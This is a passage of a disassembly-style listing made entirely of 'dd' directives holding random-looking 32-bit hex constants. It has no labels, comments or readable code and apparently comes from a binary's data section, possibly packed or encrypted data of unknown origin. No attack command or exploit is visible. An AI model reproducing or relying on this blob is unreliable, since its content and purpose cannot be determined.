		dd 74E7AAE7h, 0DE5452A7h, 606EDFA5h, 9B386C9Dh,	95316F5h
		dd 3B7F6EBFh, 0F903D9F2h, 51837A78h, 41DA2EB5h,	10C6F3CAh
		dd 7A115058h, 0AF253A96h, 81D3A8FCh, 67B73C5h, 0B7F5D83Fh
		dd 27099FE0h, 0A25F9BE9h, 0F2E25DEh, 4F40AB4Bh,	530CE180h
		dd 6094B652h, 34735E22h, 5224FE93h, 6BDDABFh, 51CBC380h
		dd 2DB1B046h, 4BE42B15h, 2E036817h, 0E9F176BCh,	5CD689Ah
		dd 4649B0BBh, 5B64E281h, 615E33Fh, 5AED3594h, 0E5E201E4h
		dd 0D1E913D3h, 5E4979A8h, 12071CF8h, 0E4668602h, 0E112BA82h
		dd 4A50A6FAh, 2591D544h
		dd 23CBBA00h, 55002982h, 0C559ACBDh, 0DEEA2176h, 7BC9F724h
		dd 695CCA02h, 241951DDh, 2ED902A1h, 88E00F6Ch, 193B39D8h
		dd 48C6026Ah, 754CF66Bh, 19E82396h, 0F7561C0Bh,	0EA48FFD5h
		dd 0EA1649EDh, 0B7088263h, 2F9F28D9h, 36444A7Ah, 0D1E4F77Dh
		dd 81080EC6h, 624A182Ch, 51F80C5Ch, 0DF9EEF25h,	1D16D301h
		dd 8092AF84h, 3295D00h,	0D810A30Dh, 204D211Bh, 0FAB04C01h
		dd 342F0A8Bh, 6C5EB10Ch, 0DD532448h, 944FC132h,	3AC2E96Eh
		dd 8DFE9013h, 1AAD2BA3h, 444FA117h, 13E7EA70h, 0E330FC71h
		dd 0B46FF2F9h, 4EBF6CF4h, 0AF45B68Bh, 795F11E2h, 8BA79F8Fh
		dd 83577847h, 8076CE06h, 27E9178Eh, 0D2C66FE6h,	6467BA20h
		dd 17B30C42h, 0C0FC54EBh, 10F2EB26h, 3850482Eh,	19B84A46h
		dd 53850527h, 5ED3EF2Dh, 6778F5Bh, 5136790h, 39221FE7h
		dd 28D89F53h, 1150F907h, 12AD558Ch, 0E3F96809h,	2BBA002Bh
		dd 0E937BD7Dh, 0BA629FF6h, 0C9E65975h, 690258EAh, 0EC7DAADBh
		dd 3A06412Fh, 9205EDF8h, 0FF718719h, 0C4FB6812h, 1320E80Ah
		dd 90BD568Ch, 2B6CD0Bh,	0F5F400D7h, 67356ED0h, 0A2940C3Ch
		dd 0C2404E97h, 932420F6h, 5185E2Ah, 4136112h, 7DE98FEFh
		dd 88939890h, 207DE84Ch, 0B457483Ah, 28592300h,	5BB0BF7Ch
		dd 31266302h, 5E14E9EFh, 0F668055Ch, 888D6167h,	700AC559h
		dd 7A142367h, 20DE05ABh, 0E4681346h, 0F360EE4Ch, 412FE952h
		dd 71162F31h, 5AC5DE07h, 92802245h, 5832A74Dh, 0E9390D44h
		dd 10FA925Ah, 5E38427Dh, 6680709h, 66750B4Eh, 58D007C7h
		dd 0F8F254Dh, 408302Ah,	0D3E877E9h, 0D5B9F8D3h,	0C051291Eh
		dd 4077552Dh, 0FD88BD4Fh, 937A2507h, 5524EABFh,	0B83E3953h
		dd 765CE9FCh, 0B8988A61h, 70551215h, 0EF40CA87h, 2779015Ch
		dd 20EAC658h, 5D12DB53h, 800E8D1h, 64C45E78h, 3792A047h
		dd 7E1F000Ah, 0C07BEB81h, 0E9125D45h, 92AD4EEDh, 4A00D2B4h
		dd 0E82824DDh, 0E04F04A8h, 710E76DCh, 0D6C1201Eh, 69C6E709h
		dd 74D8EBA9h, 0F6435D53h, 15893E38h, 2E83CB01h,	49BA5FDAh
		dd 970403E1h, 40EB0606h, 321D0B08h, 2D054057h, 4286097Ah
		dd 94AF55Ah, 0C42AF62Bh, 0E495EFEBh, 53BB4413h,	0ECD4AEF8h
		dd 29078DEFh, 8CF05E9Bh, 5CF94058h, 0A3684DC2h,	1524C35h
		dd 0AAC0789Dh, 6F3990E9h, 552FAD91h, 3A142A77h,	0B1047E1Fh
		dd 0E10E4B47h, 16BC6AD0h, 6E87F701h, 0DC4F4A3Ah, 0B5026BEFh
		dd 0DB68FE78h, 25EC5D65h, 0F51C6C08h, 18C2694Dh, 0D85F0C05h
		dd 0FA2CE9BCh, 4AE8D9Eh, 0C0B759A5h, 48F93826h,	0D6E0DB7h
		dd 0E23FE721h, 555CC54Fh, 7B6269FFh, 73C600B1h,	94E909F8h
		dd 5B2542F8h, 0FA2A495Eh, 672FFEC5h, 0DCDEB776h, 0D77288B4h
		dd 3D345A98h, 0DED28F5h, 0CA529E99h, 0B053C3DDh, 265492Dh
		dd 0E94810FAh, 6EE6B807h, 45EFE9Dh, 0FB44F643h,	8E2A940h
		dd 97688025h, 0BF6A9151h, 742D7F1Dh, 0EB5612E5h, 1DBAC5B4h
		dd 0AF8E10DFh, 0D7FEB609h, 0D3EE025h, 2134091Ah, 5E005DE8h
		dd 13CC3506h, 33B4786Fh, 4FCBE221h, 5E106800h, 0A8466797h
		dd 68426C6h, 2428512Bh,	916490BCh, 0A3EE4547h, 67420EA9h
		dd 88005004h, 8310D76Eh, 497A01C1h, 1314EFE8h, 30CDF982h
		dd 7EF161ECh, 31AA178Bh, 0EEA57589h, 64991Ch, 2FE2E16h
		dd 0FEEC960Ch, 0A7D3E575h, 82B7BC4Ch, 29738D47h, 0C29302F7h
		dd 4071F2h, 44E36857h, 799C3123h, 9395669h, 5F01071Ch
		dd 2F1736E9h, 0E0FB1334h, 28050528h, 2D0E5A34h,	18980781h
		dd 8FF2CA61h, 16119407h, 39F573E9h, 0BF2E0530h,	0BD7163E6h
		dd 0B0895E80h, 14263466h, 8F08FBA9h, 5122439h, 0ABFEE37Fh
		dd 21AC2365h, 275F8DB3h, 0FB4A2EFCh, 2E5D610Ch,	0EC3EE7CEh
		dd 2159A098h, 0EB1C5E47h, 4B2ACC3Dh, 0A3507675h, 0EADFC4BDh
		dd 686680C9h, 0AF75FC2Dh, 7E4BAB77h, 2FCAA0EAh,	8E543987h
		dd 35FF97Bh, 53C6EB74h,	9E196A58h, 3ED33BC8h, 4BF8F100h
		dd 480149FAh, 1A7C85DAh, 0F068032Bh, 89ED30C0h,	6BAB4804h
		dd 1180DDF7h, 61141EE9h, 74F63E27h, 0C7B03A2Eh,	13591F4Bh
		dd 50F20226h, 63405169h, 0A2CDACAh, 0C200E7B1h,	0B401A78Dh
		dd 302327E9h, 0BB88D0D1h, 46FC2FE5h, 4656F48Eh,	1844D57h
		dd 410B4925h, 4CF95BE9h, 8A4021ECh, 77B20952h, 0C80F280h
		dd 0E2C05CC2h, 0DBA50450h, 8BE92609h, 0A70E6h, 4BA47D90h
		dd 54D4CE81h, 0E96C5305h, 0CFBD075Ah, 0FF526013h, 0FEF0F029h
		dd 0A618D30Fh, 68C06121h, 0A37A7F53h, 0B18E04C1h, 0C1EA3007h
		dd 55169D47h, 9194FBCAh, 7E32E8ABh, 1F5E559h, 0C2D429B8h
		dd 9061898Ch, 185EFC78h, 75323217h, 5A18BE27h, 82088228h
		dd 8F00D09h, 44C103B8h,	0C0D96898h, 0E936FD0h, 27F28940h
		dd 6C8C67Eh, 0F6810201h, 75F821C2h, 73C9EC6Fh, 6826A309h
		dd 0DFBD8051h, 9F2AC5F4h, 0E9F7FC48h, 6D86B032h, 60D05FC1h
		dd 9316089Eh, 8BFF97C4h, 86277F50h, 5A8BF4EFh, 8911F657h
		dd 1C7F6BD9h, 496870A8h, 0DB10626Dh, 97387A95h,	3CEF5B48h
		dd 73B7EB2Dh, 31354D1Bh, 30BE3A59h, 0CD68512Fh,	8EED36E1h
		dd 4140F2E9h, 2D382FB9h, 0BAFDF451h, 40FCBFA4h,	0FB186878h
		dd 2F78F173h, 7EF90FEDh, 0E232F44Bh, 45FD7A39h,	9DC5A8CEh
		dd 0F520D95Eh, 77090E40h, 0DA1829F2h, 863E00D1h, 0CF01B625h
		dd 0E1899699h, 0C4645CFEh, 9258BDEBh, 60FE0C85h, 0E855E935h
		dd 49BC5AD7h, 0D27FF41Ch, 1E1225h, 3690CE16h, 4E487327h
		dd 6F3F062Eh, 2C3A7A29h, 5187A312h, 2B95F15Bh, 0E7FF7A12h
		dd 0EC2C8935h, 0F7B907EDh, 2426C12Ah, 693081E1h, 40D6A4FBh
		dd 0B7080903h, 0A97EDA12h, 73CCF8CDh, 0F60407C0h, 0B9EE80D6h
		dd 1468C690h, 610C27B3h, 680100Eh, 0E7C0D4CFh, 5790607h
		dd 2801F709h, 4DEFD1FEh, 0C699FB54h, 68F5C2FCh,	0BD54532Fh
		dd 83D977DCh, 76B05FDAh, 0A0B715D4h, 6045E236h,	4551B707h
		dd 0EB6B1802h, 298D6019h, 0B8C65065h, 4A909F5h,	0EE50D090h
		dd 0DC33F225h, 6261501Eh, 4D2C597h, 0AA13B1E9h,	0FC2F61CDh
		dd 0C8277D8Fh, 0BF6F525Ch, 2909A87Ch, 0C3D5FEE8h, 262ED853h
		dd 9C10458h, 0FF2B1C5Fh, 48D9712Ch, 0A2D2DF27h,	970F206Bh
		dd 24DB955h, 5BC91878h,	0C216FA84h, 1DC999EDh, 0B997DCD6h
		dd 0C4F10FCFh, 0A90E539h, 27616EC6h, 88DF4AB7h,	4A30087Ch
		dd 44E8EBAh, 3FE91838h,	53DE907h, 722A2746h, 2D081A10h
		dd 0AA0CA25Bh, 0EB097418h, 6805AEF6h, 0B6314AE5h, 13582E9h
		dd 0C30AB1FBh, 64F3416Eh, 0D8D4487Fh, 0D0EE1EFh, 0D2292241h
		dd 1608BF10h, 3284BAE9h, 2DFC0C3h, 0B5B450D6h, 0CD4188B3h
		dd 5F4E639Ch, 137BBEE0h, 0BE64612Ch, 0EF5A6697h, 296EE989h
		dd 8C095771h, 0FE33467Dh, 167CEF51h, 39C72DF0h,	0D57D972Eh
		dd 45C207A0h, 0D6C8A5E9h, 55688385h, 85DA534Fh,	7EBDEF78h
		dd 5DC80FB4h, 0D1F2BA13h, 1BD55686h, 6959CE2Dh,	0DD3B5E21h
		dd 9CB83F09h, 6E3493B1h, 1998EB24h, 5E562C68h, 0E95260D2h
		dd 0C3A8BFFAh, 201221E1h, 9D041B14h, 0F709FEF9h, 2F4C698Fh
		dd 691FCF66h, 0E71D1624h, 2DDD3341h, 0DC42DFF7h, 7E146194h
		dd 31A45688h, 2C58304h,	8504E2BBh, 3B990D5Bh, 10AEA9A6h
		dd 0EBB650DBh, 31BF4B16h, 0A05E9ABCh, 963D4E84h, 0E9C60448h
		dd 0AA407C2h, 7B13702Ch, 0C5EE4AC8h, 24F6EA02h,	0ECBB34Eh
		dd 53B1489Ah, 0E88B46D8h
		dd 0F13B5F45h, 75D03C64h, 204CF300h, 3AE94E6Dh,	0B9DD9739h
		dd 0D311142Ch, 879B45DDh, 0F88F7550h, 0EAC00F7Fh, 9E4E405h
		dd 816120FFh, 3F1677C9h, 91F163FBh, 0A815ABDCh,	1DDDE7A7h
		dd 816B9B07h, 716D8CCFh, 0BDC74074h, 0F467CD99h, 0E2D4E946h
		dd 285F35AEh, 0E2811411h, 3EAA9D7Ah, 3837B020h,	822A4B88h
		dd 88BEA51h, 0B570F0DCh, 0F8719D28h, 0E93F3B5Bh, 5F7804Fh
		dd 323D3516h, 0A66125Dh, 31EBDBD0h, 6134580Ch, 10EC005Ah
		dd 2D55C718h, 13B33F05h, 40FA21E5h, 0E308364Dh,	0CD4F31AFh
		dd 26825EEh, 0D461B116h, 0DB2E3CDCh, 0DF105D1Ah, 0FB5F1B92h
		dd 0E945C1F6h, 559D9D65h, 24641B9Ch, 0FA8AD79Ch, 25BEE4C1h
		dd 15144404h, 8F105B68h, 4ABF1A10h, 5E730EA0h, 6EAF8CB4h
		dd 53193643h, 0F27D72B3h, 0F603570Bh, 66995AB7h, 1A812E31h
		dd 0CA7BDC27h, 20EC5AAFh, 0BC2DA3C1h, 1F923A11h, 76C04007h
		dd 947C942Ch, 0EA80F702h, 16C044C6h, 0FFF20128h, 0E95E0880h
		dd 50AADF2Eh, 0AB647D5Ah, 5660B1B6h, 3E3A1F68h,	0CDC97725h
		dd 55DEF70Ah, 0CBB02E2h, 4D5342Ch, 0DF80217Fh, 5DE6684Eh
		dd 9A81E50Fh, 7BD11050h, 8B2DE501h, 83E074Dh, 0F18FD551h
		dd 1E933FB4h, 43028752h, 0C1923E47h, 0AD30F74Ah, 0BB1B4E08h
		dd 10C44177h, 0FA8E42BAh, 9275875Fh, 77E629D8h,	0E2F24DC4h
		dd 8208074Dh, 4AE019E9h, 0C3E0C0AFh, 8C7FEFEFh,	4362B2EFh
		dd 7D78E76Bh, 9CC27493h, 6525E85Ch, 0B068C13Eh,	0C1E13C16h
		dd 61D85AFFh, 0AC3A4AF4h, 0B071099Ah, 7A0025C0h, 42726BC9h
		dd 0EB410498h, 0E2DCA888h, 7BBDD62Dh, 581802B2h, 0BED19D75h
		dd 3E296841h, 7A7377C2h, 0DD62F026h, 40305F5Bh,	0BDB6C6E5h
		dd 10A5D5EBh, 68A4F1B4h, 542C1052h, 0DB26A848h,	7E33A899h
		dd 5EF1270Ch, 2246BA53h, 8294B431h, 1A120DE3h, 15B0417Fh
		dd 0AD974472h, 0F9B1102Eh, 0AB755F25h, 429FDC5Fh, 7BD533D7h
		dd 57599F06h, 6F8BB188h, 2F689028h, 0E632658Eh,	89D60E42h
		dd 713A148Bh, 0F4BE8D35h, 19842ABAh, 3A47DF01h,	873E8165h
		dd 95792257h, 52B5282h,	91FABE03h, 5CE88FF6h, 0B2ECBA7Dh
		dd 8B5F95C5h, 4EAD94D3h, 47D7FB51h, 25202740h, 0D131285Ch
		dd 0A32969F8h, 0D7C58BF5h, 0EF936447h, 0E06841E0h, 6F5EB467h
		dd 630102A0h, 136257E9h, 0AF75374Fh, 5932A412h,	0D4B8CCFAh
		dd 19573E04h, 0EEF9F001h, 4E70F58Fh, 0CA1FADB9h, 0BA3D1728h
		dd 54805584h, 0F2BF972Ch, 0F5DCB701h, 67DBF569h, 1BCFE986h
		dd 0F28E9551h, 3E347F61h, 0CBB544E7h, 0C8211A05h, 55E962ACh
		dd 68854B5Bh, 0A4E86DEEh, 0BAAAC3C5h, 7805F460h, 7FC5004Fh
		dd 180C5D2Dh, 0D87C012Bh, 0E95707A0h, 0F19FC473h, 7BA96F0Eh
		dd 0B56847C0h, 5AA37753h, 2D5FC2A0h, 5809353Ah,	192F108h
		dd 0E97C90F3h, 0F6F642D4h, 0DCC20BFFh, 6D7E58ABh, 584027BCh
		dd 9B6B7A68h, 9C7A2536h, 34AD054Eh, 0A27F9575h,	4416E05Ch
		dd 75C5B2Ah, 0D2D0011Ch, 68FE8FCCh, 0AEDBD5E9h,	0D558C742h
		dd 3D983196h, 5D4B7169h, 7B2D8C87h, 0CA629ACAh,	5C8632A3h
		dd 0D3F601C0h, 5B6606A0h, 27C7FE3Fh, 0D2637FCFh, 74E90C17h
		dd 0E84EF9ACh, 8390A592h, 58ECB050h, 0E9125188h, 29FEC16Fh
		dd 62346EEBh, 0F7162C81h, 9E48A93Fh, 169718CDh,	0D9B0A16Bh
		dd 660E97A7h, 2D41A987h, 29E01D9Ch, 41C8B0D8h, 74E902B4h
		dd 9820F62h, 86A4215Fh,	0C0A6E2FDh, 0CDFE5DC5h,	545A34E9h
		dd 0AE258241h, 921F9B57h, 3EBF0002h, 23073B5Eh,	575FFD09h
		dd 1DACF90h, 0E35BB56Ch, 9511A03Fh, 0F3AE2902h,	0D859040Bh
		dd 5DEB52D2h, 70A68D40h, 65E7025Bh, 186C9EC4h, 66AD72h
		dd 0E7812353h, 261E6462h, 13E9470Bh, 0B9ED6840h, 0A5228228h
		dd 0DD5E4C97h, 7E36044Fh, 0B0BAE094h, 0AD17BE5Bh, 144A6686h
		dd 930B8353h, 0E1C457ABh, 8F6BBA31h, 4503C630h,	42FF808Ch
		dd 404A6C0Ch, 0D7CCABA1h, 76142DE9h, 0C6F76A2h,	0FE1EC67Fh
		dd 0FFA27FAFh, 136AA36Fh, 9EB8864h, 467FE6C4h, 3A9D22D2h
		dd 0DA3C772Fh, 35271317h, 58CABA76h, 5F053C20h,	0FB36850h
		dd 0E10089A3h, 5E711E1Bh, 303ACE81h, 0D1288B2Dh, 0D84F6BEEh
		dd 12A400Ah, 57B95115h,	0F0397D18h, 3AF42CE1h, 431085Ch
		dd 27F0F6EEh, 9FF905AEh, 0A6E3BB8Dh, 0A3BE7B98h, 55BD1B19h
		dd 0AB75073Ch, 31850B7Ah, 820220DDh, 973221E7h,	0D97587E2h
		dd 0A83CEC82h, 5CDA11BDh, 4D5F0A6Bh, 9BB542FBh,	607380FFh
		dd 940DECE9h, 0CCCC696Dh, 0D910C42Fh, 136D89B8h, 7F7A4D7Eh
		dd 0C24893F9h, 0D8485C2Dh, 6681864Ch, 82CE9061h, 426978A0h
		dd 84C07D38h, 0A095D28Eh, 5C62D085h, 0EE0CD61Dh, 71C2AA59h
		dd 109DE67Bh, 2E7E30E8h, 42282278h, 0D80B4463h,	268095B1h
		dd 0A511CAB3h, 0BB39DF97h, 0E7D509E9h, 0EE4F6B38h, 0F4BCA421h
		dd 8701B266h, 29736D1Ch, 0B1D5FFF1h, 0B6CF082h,	1B13A42Eh
		dd 0F4051E3Bh, 0D8B786Fh, 8E964C10h, 7A886F32h,	0BB4940F4h
		dd 0CF0DD70Bh, 5F58806Fh, 411F04h, 3B65F581h, 1CE97527h
		dd 39B4A04Dh, 83C61CF0h, 0EE8707BCh, 9FBED5F7h,	7F08F55Bh
		dd 38792C70h, 0C1F601EAh, 440B6E11h, 54E1AEB8h,	0C9D70CA5h
		dd 0E2349B1Ah, 5E44C95Dh, 20DEA0D5h, 98216339h,	0F7B00938h
		dd 986B118h, 0C9EC2F19h, 5E0C2B67h, 24529C2h, 0D9D1EE89h
		dd 0C08368AFh, 0CAB0BF42h, 1B91C289h, 9130156Ah, 2E08E0C0h
		dd 1FF7B652h, 789C4BF0h, 0C1D5C14Ah, 0BC2B75EFh, 56AC81A9h
		dd 1C957021h, 277BAFCAh, 39C65BEFh, 75A53EB1h, 0C55DEF8Bh
		dd 2A9F08C1h, 3F56843Eh, 0CE806787h, 50AE2F52h,	7FD39065h
		dd 56480137h, 0B9351DBEh, 0E8A1544Fh, 25E917E3h, 7B47FE5Fh
		dd 21A26C18h, 7AF58CFh,	7FA54F60h, 0D80E85E9h, 0FE41C8ADh
		dd 0CD62EC3Eh, 0BB9E1796h, 0C2B64958h, 0C7927D6h, 0EF8BE102h
		dd 7A58272Fh, 0DA0B19BEh, 0D1012669h, 79C40BA9h, 24517C29h
		dd 42B5F16Bh, 486AE0D3h, 2A66C61h, 4AF97509h, 0D900AD48h
		dd 31252A5Ch, 0D7E095EAh, 0A52F63A6h, 1CAD678h,	2C729ECBh
		dd 0E0F28212h, 774F3018h, 0F1AFE8A5h, 0D4CEADE7h, 0C5E9F832h
		dd 5D27D44Bh, 75A52F82h, 73259914h, 0D136184Ch,	0A0B5EDh
		dd 296E2B55h, 8F2E2ECh,	8F1C572Ch, 4198391Dh, 55AD734h
		dd 2102F805h, 0AC4AE2Ch, 555F070Bh, 62261CE5h, 3FCC1D43h
		dd 74CAC6CDh, 0E9E388D2h, 1CD60959h, 0D740650Dh, 1EBF3517h
		dd 290C2D95h, 3ED3807Fh, 0F3424F20h, 2694BB04h,	0C00C0B18h
		dd 3B4A097Bh, 0AFD68758h, 24F47752h, 0C13FDE82h, 65E65023h
		dd 80451456h, 7AE93725h, 8090019Fh, 0F8E028F7h,	7E7C97BFh
		dd 0FDC75DC9h, 8073C0A7h, 73DB273Eh, 0C2C0E077h, 0CC3A0203h
		dd 1CB9E942h, 32791457h, 0E27788BCh, 511EE3DDh,	14DB8407h
		dd 0C608F30Ah, 2549E90Bh, 34312599h, 7D4EDF07h,	96ABEA25h
		dd 29311D78h, 2C206969h, 94C98428h, 6805D9D8h, 15C46D6Bh
		dd 879402AEh, 84FDA103h, 0F6AA9D92h, 3BC8403Ah,	4BF5E09h
		dd 7B785F49h, 0F320DE07h, 6C0A6815h, 56B1020Bh,	8E5C49BCh
		dd 69187F25h, 82D2D363h, 18608E2Dh, 200B978Ah, 213EF7Fh
		dd 9068E9F7h, 0E1AD06D1h, 618A3320h, 25C5EA01h,	48453B76h
		dd 5B1BF9E8h, 0D0D1DF58h, 50C02267h, 3118430Ch,	0C1F20888h
		dd 0F7770BCEh, 0C25FCD01h, 9BEC7598h, 4BED915Ah, 51505300h
		dd 0E58054B5h, 0E4FCCB4Bh
		dd 5B7FED1Dh, 84E504D5h, 0CBE4EA79h, 82C65201h,	0AE956C1h
		dd 78A32E07h, 891242CEh, 8CB28314h, 0F12A186Bh,	1A80EADAh
		dd 6858C328h, 0CBA8710Bh, 0AB9E05B8h, 38D69B87h, 0A2D15529h
		dd 2C155D13h, 4C68C352h, 0CD411705h, 84390C6h, 0AC9D2F6h
		dd 7B540006h, 0BF7EE4E9h, 8101AD20h, 507521F3h,	8D0C7F60h
		dd 0CB105F27h, 0FD540A68h, 0E2924BCFh, 6444DDC3h, 8F6C51BFh
		dd 0A8F6D24Ch, 0DC798B66h, 0CEBB407Fh, 3B4FE50Eh, 38062ABEh
		dd 4F3489BAh, 0BF85FF6Eh, 0C242AF42h, 555FDCE9h, 0A54F4171h
		dd 44FA0913h, 5388466Eh, 3F54D1FBh, 0A4FB3C29h,	4A8BE6FFh
		dd 0ABA935FBh, 5F274EE6h, 247AB1F7h, 0E05D5902h, 1266957Ch
		dd 0B3C0E68h, 185CCF9Fh, 44991380h, 17B30558h, 0F40B237Dh
		dd 753AA217h, 0EC0775FEh, 31C856A6h, 938458E5h,	0F71263CBh
		dd 0D98509D7h, 523D7C94h, 0B05080B2h, 7E8C088h,	4C86BFEh
		dd 56086ADDh, 31DD49B9h, 1044B0CFh, 9E056D1h, 2CC38100h
		dd 66413712h, 0AEE5C5EBh, 0F09D5949h, 9581B20Bh, 1594395Dh
		dd 40D4B375h, 9756B6D1h, 0E0D42628h, 7D4A65FCh,	0D8A55CB9h
		dd 0F1275089h, 0CAB855FEh, 314FA368h, 6A324230h, 64415CDBh
		dd 77C3C786h, 54239E81h, 9A648239h, 11F53787h, 0ED2CF359h
		dd 0D429A2F7h, 5312357Ah, 9004E55h, 11326E73h, 0E9520B47h
		dd 65D7EC4Ah, 30E941EEh, 8343AA2h, 0D3348AEBh, 3A97B7AAh
		dd 0D4AD4E5Ch, 0B27BE982h, 5269665Ch, 0D06C9584h, 65B4495Fh
		dd 92DDEE5Dh, 824050E7h, 31608216h, 64EE92C1h, 6F02D0BEh
		dd 8987BECBh, 0C45A57C6h, 3CF82F34h, 0F91D7DF8h, 7058645Bh
		dd 9E4A86E9h, 8B1791E6h, 0EA8D34DEh, 182695E0h,	0B3374156h
		dd 0E92D515Fh, 0F6DA6285h, 4585CF82h, 0A332AE67h, 21B1526Eh
		dd 0FEA743F2h, 834F44B5h, 0EC98819Dh, 11648253h, 6A18879Ah
		dd 0CA83C5F2h, 0E91AF8F7h, 222C263Eh, 0C6661C25h, 0D9468037h
		dd 0DB5081F9h, 5BC868DAh, 313DDEF7h, 333810EEh,	90E82819h
		dd 0F5BA0411h, 12CAE82Dh, 0C60930BAh, 45F708C7h, 0EFC00174h
		dd 3EACE907h, 0D9AA5585h, 937A66ACh, 9668F2AEh,	929588FBh
		dd 0DFC5912h, 0A6725700h, 5EE9F203h, 6E48A1F3h,	8184EDEh
		dd 84B28AC4h, 0F7A833B1h, 9D54ED40h, 5758C46Ch,	1C124FC2h
		dd 5118CEDAh, 1AC123C9h, 750C0517h, 84850BFh, 0EEE4D275h
		dd 11F0CF29h, 0A5D2ABDDh, 0F53ABD09h, 0A5BC54E5h, 5612FD34h
		dd 8081F146h, 5ADEFE4Bh, 0D35B62h, 957339BFh, 48C0B48h
		dd 75F927AFh, 0BE6583A1h, 3424AA00h, 81760FF0h,	4A8532CAh
		dd 0F743BF0Ah, 0EA0588C6h, 54E36001h, 82209619h, 0FE1FC5E1h
		dd 30B469F5h, 0C3019551h, 1B133967h, 0DE31BB86h, 0DD2BEA92h
		dd 0D6A8ECEEh, 0EE80C3A0h, 0E67F4573h, 0E161F6ECh, 61E98206h
		dd 0B195023Eh, 75D428C8h, 76FCD409h, 9406BA6h, 446B281Fh
		dd 0F8E35D60h, 6A661806h, 9FA24085h, 0D81E1ECh,	9C77FA5Ah
		dd 35DE2FA1h, 93242347h, 0D3F8D00Ch, 2C7BE2EFh,	0CD38D5h
		dd 76869C1Fh, 0F99DCF01h, 67314855h, 0BB001856h, 5EE13EF4h
		dd 27D37C31h, 225FDFB6h, 7F8CC0DCh, 0D320D067h,	24A6F0B7h
		dd 0A608A0E9h, 0C1EA0960h, 13D047F7h, 7E61BC54h, 3DFBC54Ah
		dd 9ED23F76h, 82DE5DEAh, 0FC90900h, 93D44F84h, 95532A9Dh
		dd 5E2F79F9h, 7170870h,	0C4AEB916h, 3BBBA109h, 0F55A3CCBh
		dd 2B77C990h, 5F811DA3h, 2F294E4Ah, 0C0C5F7B2h,	2FA240D1h
		dd 810CD412h, 3F12F377h, 200196Fh, 896B18B6h, 0E2BA08E9h
		dd 0AFBBFFFEh, 9A61D84Ch, 0F282B727h, 0A6D801E9h, 1658592Dh
		dd 0A53354E2h, 0EEE14471h, 35D1DEBFh, 0DDE1FE0Ch, 27E9FC18h
		dd 0E47B728Fh, 395293BDh, 0EC7AB49h, 295B7671h,	7D05E2A6h
		dd 604BA251h, 0C04724DEh, 428BCD7Fh, 0FBB04B3Bh, 7C5ED09Dh
		dd 0C6E7013Fh, 0E937B764h, 0B8243B03h, 8335081h, 7645EBEFh
		dd 0A35F9545h, 285A4F97h, 7793F616h, 0E2801C66h, 0B1EACE2Ch
		dd 0E987EBC1h, 0F1166A2Bh, 20BDB1E8h, 75824F51h, 0B7400E12h
		dd 0F78820CBh, 3D25EEBEh, 77812D8Ah, 0F8293BC3h, 0EC074405h
		dd 8C2DC061h, 4A02296Dh, 0E31FB05h, 40575E5h, 14C198D3h
		dd 9BA5104Ah, 6208CA5Eh, 0F8B168C5h, 0A22EC441h, 0C95F0E29h
		dd 0F778E983h, 18D257D4h, 1CF9893Bh, 0A09DBACEh, 87EA1ABh
		dd 212D0764h, 50447635h, 0D3E6D42Ch, 0E91AC6F2h, 7F4AD9C8h
		dd 0F80280B9h, 0CFB4531Dh, 32D58249h, 0E1022B96h, 0B501D1D9h
		dd 0B2FC53C5h, 0F6FE58F5h, 5DDAFED3h, 0A355EC5Ah, 0CDD44F28h
		dd 0CADDEAFBh, 0C68A41D7h, 1F105222h, 0E281010Fh, 45AC352Ah
		dd 7F84A1EDh, 836CB252h, 0BD96D0Eh, 0E32D8384h,	0DC0F1DC2h
		dd 0A7F8CAC0h, 0A9635A59h, 5FE510E7h, 0CCA43025h, 0F37AC821h
		dd 0EFB26FEEh, 12A2BD04h, 298054B5h, 4E4AED62h,	841CD8ABh
		dd 21E6D16h, 128A6C02h,	0F204C0D3h, 0BC7609D9h,	6480421Ch
		dd 77B4DB8h, 0AA0923B8h, 8419661Dh, 89041EF2h, 6103EEF3h
		dd 7F025B54h, 0B820B70h, 7D084AB0h, 0CEC70DD1h,	0C4467AF4h
		dd 12B52DF0h, 0ABBD55EBh, 10BFE6A1h, 0A9375997h, 0F5E71078h
		dd 29CBBD05h, 358204AFh, 5C6802F0h, 447E5619h, 0E42C8155h
		dd 0D35D92F4h, 57FF2E16h, 2DD2A1ABh, 5257C050h,	2C01BC68h
		dd 5A156C12h, 572E8801h, 20D07045h, 7C20F641h, 880627FDh
		dd 3209C05Ch, 6C2B7E34h, 1A978686h, 77FE5DEFh, 0DE41D196h
		dd 2D4D6842h, 6FC76D2Ch, 0C43E157Eh, 0AFB045Bh,	6B3DC123h
		dd 9F3CCF8h, 6A5EF024h,	0EC8DB70Bh, 44772251h, 4F999C4Dh
		dd 901080ACh, 0A958263Ch, 0A9FEF942h, 838DDEC7h, 0D6DF26Fh
		dd 0FFA916F5h, 0BCA6AF2Ch, 70CB8253h, 4255CDB0h, 3852DF50h
		dd 1270E1B0h, 64B36EE1h, 0B3440185h, 0E0552F57h, 4C3B67CBh
		dd 0A110AB7Fh, 60250274h, 0D573BE75h, 0E135DC00h, 3B25CE31h
		dd 55F06109h, 0F14E7DF6h, 0F522BBA4h, 0B4ED0BDCh, 67001A3Dh
		dd 0FEDAC4C5h, 0D12175Bh, 0B01D1FCh, 6872581Dh,	52A33A86h
		dd 0AA2FB048h, 7C5F7762h, 6CED719Ah, 0D8124A9Eh, 0DAE140ECh
		dd 0A2B543Dh, 80E01EBh,	34966CACh, 14A9CAE4h, 6608441Bh
		dd 0D5D7FC14h, 0A50CBF03h, 0D6D329E2h, 4562BB8Dh, 9C05F50h
		dd 0BD2F62AFh, 0D5844071h, 190B242Ah, 747D04CEh, 9134C2F9h
		dd 269BF95Fh, 206724A4h, 76F8C427h, 605E0B22h, 3E47D7DAh
		dd 69B47717h, 3104FEF3h, 0DAEEDE7Bh, 560869DFh,	84DFADCEh
		dd 0FD82F07Bh, 32E30905h, 7E4E0FC1h, 0BC299C8h,	4DD07F45h
		dd 8033C3DEh, 3077CFFBh, 6FFE5F0h, 0FCE097EFh, 12E67129h
		dd 5317E4B0h, 0E7095C78h, 0EF4DD861h, 9AFDA874h, 83EB1B7h
		dd 0ED92F8D2h, 0EDECA1BAh, 0F0193B07h, 32205EB9h, 0ECA14B20h
		dd 5F47A6A7h, 59E16C6h,	0EA55463Ah, 25820D9h, 2BD74C31h
		dd 0A805C7E0h, 0F901C8FFh, 52AA7495h, 9D12FF48h, 1CC7535Ch
		dd 3C852F72h, 2DECD3E9h, 4602212Ch, 0F6B7917Eh,	0C406BD1Eh
		dd 0A22B88FAh, 0E8DDA541h, 8279167Eh, 1F5E5ECCh, 0DBDDF412h
